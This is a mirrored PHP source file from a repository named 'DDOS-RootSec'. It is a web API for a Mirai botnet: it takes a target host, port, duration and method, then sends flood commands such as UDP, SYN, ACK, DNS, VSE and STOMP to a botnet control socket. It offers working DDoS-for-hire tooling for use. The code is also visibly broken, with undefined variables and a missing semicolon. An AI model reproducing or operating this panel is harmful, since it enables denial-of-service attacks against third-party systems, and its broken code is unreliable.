Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/API/mirai.php
5038 views
1
<?php
2
error_reporting(E_ALL);
3
4
$attackMethods = array("RAWUDP", "ACK", "STOMP", "DNS", "VSE", "SYN");
5
6
function htmlsc($string)
7
{
8
9
return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
10
11
}
12
if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
13
14
die("You are missing a parameter");
15
16
$key = htmlsc($_GET["key"]);
17
$host = htmlsc($_GET["host"]);
18
$port = htmlsc($_GET["port"]);
19
$method = htmlsc(strtoupper($_GET["method"]));
20
$time = htmlsc($_GET["time"]);
21
$command = "";
22
23
if (!in_array($key, $APIKeys)) die("Invalid API key");
24
if (!in_array($method, $attackMethods)) die("Invalid attack method")
25
if ($method == "RAWUDP") $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
26
else if ($method == "DNS") $command = "dns $host $time dport=$port domain=$host\r\n";
27
else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
28
else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
29
else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
30
else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
31
32
($socket ? null : die("Failed to connect"));
33
fwrite($socket, " \r\n"); // Leave This.
34
sleep(3);
35
36
sleep(3);
37
38
sleep(9);
39
fwrite($socket, $command);
40
fclose($socket);
41
echo "Attack sent to $host:$port for $time seconds using method $method!\n";
42
43
?>
44